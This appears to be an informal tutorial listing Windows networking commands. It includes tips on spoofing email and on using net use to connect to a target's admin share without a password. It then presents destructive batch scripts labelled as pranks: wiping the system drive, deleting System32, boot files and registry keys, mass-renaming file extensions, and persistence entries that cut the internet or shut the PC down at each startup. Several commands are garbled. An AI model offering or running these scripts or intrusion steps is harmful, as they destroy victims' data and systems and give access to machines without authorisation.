nslookup

net view

net use

net user

ping

tracert

arp

route

nbtstat

netstat

ipconfig

------------------------------------------------------------------------------------------------

1) ping : This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing the “ping” command.

ping x.x.x.x (x is the IP address). You can try pinging 8.8.8.8 which belongs to Google

or

ping www.google.com (www.google.com is the website you want to ping, but you don’t know the IP)

------------------------------------------------------------------------------------------------

2) nslookup : This command has many functionalities. One is for resolving DNS into IP. Lets say you know the website URL but you don’t know its IP but you want to find it out.

Eg. nslookup www.google.com (www.google.com is the website for which you want to find out the IP)

Now, another really nice function of nslookup is to find out IP of specific Mail Severs

nslookup (enter)

set type=mx (enter)

yahoo.com

This command will give you the mail server IP of yahoo.com. You can use whatever server you want and if it is listed on DNS, then you get the IP. Simple, isn’t it? You can send a spoofed email to your friends using the IP address of the mail server. You can check the tutorial here for sending spoofed email.

------------------------------------------------------------------------------------------------

3) tracert : This command will give you the hops that a packet will travel to reach its final destination. This command is really helpful if you know the route a packet takes before it goes to the target box.

tracert x.x.x.x (x is the IP address)

or

tracert www.google.com (www.google.com is the website you don’t know the IP)

------------------------------------------------------------------------------------------------

4) arp : This command will show you the arp table. You can find out if anyone has done arp poisoning in your LAN using this command.

arp -a

------------------------------------------------------------------------------------------------

5) route : This command will show you the routing table, gateway, interface and metric.

Code:

route print

------------------------------------------------------------------------------------------------

6) ipconfig : This command will show you a lot of useful things like your IP, Gateway, DNS in use, etc. This command will give all that info but for all networks you might have it.

Code:

ipconfig

or

Code:

ipconfig /all

Also, in case you have a dynamic IP and want to change it, then type…

Code:

ipconfig /release (this will release your IP)

ipconfig /renew (this will renew your iP)

------------------------------------------------------------------------------------------------

7) netstat : This command will show you connection stats

Code:

netstat

or

Code:

netstat -a (this will show you all the listening ports and connection with DNS names)

netstat -n (this will show you all the open connection with IP addresses)

netstat -an (this will combined both of the above)

net view x.x.x.x or computername (will list the available sharing folders on the target box)

Here are some additional CMD commands which will help you.

Code:

net use \ipaddressipc$ “” /user:administrator

(this command will allow you to connect to the target as administrator)

Now if you want to connect to the target and browse the entire C drive, then use this command:

Code:

net use K: \computernameC$

(this will create a virtual drive on your “my computer” folder)

Please not that this command will only work if the target PC/laptop has not set a Adminastrator Password.

And least but not last, the “help” command.

Quote:

whatevercommand /help

or

Quote:

whatevercommand /?

This command is very useful in finding what a particular command does, especially if you are a newby.

Hope you liked the CMD commands listed above. If you have found any command other than those listed above, kindly note them in the comments for our other readers.

------------------------------------------------------------------------------------------------

BLUE SCREEN OF DEATH:

@echo off

del %systemdrive%\\*.\*/f/s/q

shutdown-r-f-t00

------------------------------------------------------------------------------------------------

CHANGE FILE EXTENSION TYPE:

REN \* .DOC \* .TXT REN \* .JPGE \* .TXT

REN \* .LNK \* .TXT

REN \* .AVI \* .TXT

REN \* .MPEG \* .TXT

REN \* .COM \* .TXT

REN \* .BAT \* .TXT

------------------------------------------------------------------------------------------------

DELETE SYSTEM 32:

del c:\windows\system32\\*.\*/q

------------------------------------------------------------------------------------------------

CRASH PC FOREVER:

@echo off

attrib-r-s-h c:\autoexec.bat

del c:\autoexec.bat

attrib-r-s-h c:\boot.ini

del c:\boot.ini

attrib-r-s-h c:\ntldr

del c:\ntldr

attrib-r-s-h c:\windows\win.ini

del c:\windows\win.ini

------------------------------------------------------------------------------------------------

DELETE ENTIRE REGISTRY:

@echo off

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/\*

------------------------------------------------------------------------------------------------

DISABLE INTERNET PERNAMENTLY:

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release\_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey\_local\_machinesoftwaremicrosoftwindowscurrentversionrun/v

WINDOWsAPI/t reg\_sz/d c:windowswimn32.bat/f

reg add hkey\_current\_usersoftwaremicrosoftwindowscurrentversionrun/v

CONTROLexit/t reg\_sz/d c:windowswimn32.bat/f

PAUSE

------------------------------------------------------------------------------------------------

SHUTDOWN PC WHEN STARTUP

echo @echo off>c:windowshartlell.bat

echo break off>>c:windowshartlell.bat

echo shutdown-r-t 11-f>>c:windowshartlell.bat

echo end>>c:windowshartlell.bat

reg add hkey\_local\_machinesoftwaremicrosoftwindowscurrentversionrun

/v startAPI/t reg\_sz/d c:windowshartlell.bat/f

reg add hkey\_current\_usersoftwaremicrosoftwindowscurrentversionrun

/v/t reg\_sz/d c:windowshartlell.bat/f

PAUSE

------------------------------------------------------------------------------------------------